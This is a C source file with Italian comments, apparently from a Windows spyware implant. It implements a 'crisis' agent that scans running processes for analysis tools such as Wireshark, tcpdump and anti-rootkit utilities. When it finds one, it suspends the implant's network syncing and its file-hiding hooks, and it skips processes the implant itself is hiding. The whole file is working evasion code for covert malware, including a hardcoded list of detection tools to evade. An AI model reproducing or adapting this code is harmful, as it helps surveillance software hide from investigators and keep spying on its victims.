HM_CrisisAgent.h
HANDLE hCrisisThread = NULL;
BOOL bPM_CrisisAgentStarted = FALSE; // Flag che indica se il monitor e' attivo o meno
BOOL bPM_crcp = FALSE; // Semaforo per l'uscita del thread
//extern BOOL network_crisis; // Se deve fermare le sync
//extern BOOL system_crisis; // Se deve fermare i comandi e l'hiding
BOOL cr_check_system = FALSE;
BOOL cr_check_network = FALSE;
#define MAX_DYNAMIC_CRISIS_SYSTEM 10
#define EMBEDDED_CRISIS_SYSTEM 2
DWORD process_crisis_system_count = 0;
#define MAX_DYNAMIC_CRISIS_NETWORK 10
#define EMBEDDED_CRISIS_NETWORK 3
DWORD process_crisis_network_count = 0;
WCHAR process_crisis_system[MAX_DYNAMIC_CRISIS_SYSTEM+EMBEDDED_CRISIS_SYSTEM][MAX_PATH];
WCHAR process_crisis_network[MAX_DYNAMIC_CRISIS_NETWORK+EMBEDDED_CRISIS_NETWORK][MAX_PATH];
// Funzione esportata per vedere se e' in un momento di crisi
BOOL IsCrisisNetwork()
{
return network_crisis;
}
BOOL IsCrisisSystem()
{
return system_crisis;
}
#define CRISIS_SLEEPTIME 100
#define CRISIS_SLEEP_ITER 7 //La sleep totale e' di CRISIS_SLEEP_ITER*CRISIS_SLEEPTIME
DWORD WINAPI MonitorCrisisThread(DWORD dummy)
{
DWORD i;
HANDLE proc_snap;
PROCESSENTRY32W lppe;
pid_hide_struct pid_hide = NULL_PID_HIDE_STRUCT;
BOOL process_network_found, process_system_found;
LOOP {
process_network_found = FALSE;
process_system_found = FALSE;
proc_snap = FNC(CreateToolhelp32Snapshot)(TH32CS_SNAPPROCESS, NULL);
// Cicla tutti i processi attivi
lppe.dwSize = sizeof(PROCESSENTRY32W);
if (proc_snap != INVALID_HANDLE_VALUE && FNC(Process32FirstW)(proc_snap, &lppe)) {
do {
// Se ha gia' trovato le cose per cui deve ceckare, allora interrompe il ciclo
if ((!cr_check_system || process_system_found) && (!cr_check_network || process_network_found))
break;
// Non considera i processi che stiamo nascondendo.
SET_PID_HIDE_STRUCT(pid_hide, lppe.th32ProcessID);
if (AM_IsHidden(HIDE_PID, &pid_hide))
continue;
// Cicla i processi system crisis
if (cr_check_system) {
for (i=0; i<process_crisis_system_count && !process_system_found; i++) {
if (CmpWildW(process_crisis_system[i], lppe.szExeFile)) {
process_system_found = TRUE;
}
}
}
// Cicla i processi netork crisis
if (cr_check_network) {
for (i=0; i<process_crisis_network_count && !process_network_found; i++) {
if (CmpWildW(process_crisis_network[i], lppe.szExeFile)) {
process_network_found = TRUE;
}
}
}
} while(FNC(Process32NextW)(proc_snap, &lppe));
}
if (proc_snap != INVALID_HANDLE_VALUE)
CloseHandle(proc_snap);
// Se e' cambiato lo stato del crisis network, riporta un messaggio
// XXX Questo thread gira anche durante la sync, ma le probabilita' di una race sui log
// sono infinitesimali
if (!network_crisis && process_network_found)
SendStatusLog(L"[Crisis]: Network activity inhibited");
else if (network_crisis && !process_network_found)
SendStatusLog(L"[Crisis]: Network activity restarted");
// Se ha trovato un processo pericoloso (perche' lo stava checkando) allora setta lo stato
system_crisis = process_system_found;
network_crisis = process_network_found;
AM_IPCAgentStartStop(PM_CRISISAGENT, system_crisis); // l'hook per l'hiding dei file e' relatico a system crisis
for (i=0; i<CRISIS_SLEEP_ITER; i++) {
Sleep(CRISIS_SLEEPTIME);
CANCELLATION_POINT(bPM_crcp);
}
}
}
DWORD __stdcall PM_CrisisAgentStartStop(BOOL bStartFlag, BOOL bReset)
{
DWORD dummy;
// Durante la sync non lo stoppa (dato che non produce log)
if (!bReset)
return 0;
// Se l'agent e' gia' nella condizione desiderata
// non fa nulla.
if (bPM_CrisisAgentStarted == bStartFlag)
return 0;
bPM_CrisisAgentStarted = bStartFlag;
if (bStartFlag) {
hCrisisThread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorCrisisThread, NULL, 0, &dummy);
} else {
QUERY_CANCELLATION(hCrisisThread, bPM_crcp);
// Se stoppo l'agente azzero gli stati di crisi
network_crisis = FALSE;
system_crisis = FALSE;
AM_IPCAgentStartStop(PM_CRISISAGENT, FALSE);
}
return 1;
}
DWORD __stdcall PM_CrisisAgentInit(JSONObject elem)
{
JSONObject network, hook;
JSONArray network_array, hook_array;
DWORD i;
wcscpy(process_crisis_network[0], L"wireshark.exe");
wcscpy(process_crisis_network[1], L"ethereal.exe");
wcscpy(process_crisis_network[2], L"tcpdump.exe");
wcscpy(process_crisis_system[0], L"fsbl.exe");
wcscpy(process_crisis_system[1], L"pavark.exe");
// Se non ci sono i due oggetti allora non lo inizializza
if (!elem[L"network"]->IsObject() || !elem[L"hook"]->IsObject())
return 1;
network = elem[L"network"]->AsObject();
hook = elem[L"hook"]->AsObject();
cr_check_network = (BOOL) network[L"enabled"]->AsBool();
cr_check_system = (BOOL) hook[L"enabled"]->AsBool();
network_array = network[L"processes"]->AsArray();
hook_array = hook[L"processes"]->AsArray();
process_crisis_network_count = network_array.size();
process_crisis_system_count = hook_array.size();
if (process_crisis_network_count > MAX_DYNAMIC_CRISIS_NETWORK)
process_crisis_network_count = MAX_DYNAMIC_CRISIS_NETWORK;
if (process_crisis_system_count > MAX_DYNAMIC_CRISIS_SYSTEM)
process_crisis_system_count = MAX_DYNAMIC_CRISIS_SYSTEM;
process_crisis_network_count += EMBEDDED_CRISIS_NETWORK;
process_crisis_system_count += EMBEDDED_CRISIS_SYSTEM;
for (i=0; i<network_array.size(); i++)
wcscpy(process_crisis_network[i+EMBEDDED_CRISIS_NETWORK], network_array[i]->AsString().c_str());
for (i=0; i<hook_array.size(); i++)
wcscpy(process_crisis_system[i+EMBEDDED_CRISIS_SYSTEM], hook_array[i]->AsString().c_str());
// All'inizio le crisi sono disattivate, sara' il thread ad attivarle
network_crisis = FALSE;
system_crisis = FALSE;
AM_IPCAgentStartStop(PM_CRISISAGENT, FALSE);
return 1;
}
void PM_CrisisAgentRegister()
{
network_crisis = FALSE;
system_crisis = FALSE;
AM_MonitorRegister(L"crisis", PM_CRISISAGENT, NULL, (BYTE *)PM_CrisisAgentStartStop, (BYTE *)PM_CrisisAgentInit, NULL);
}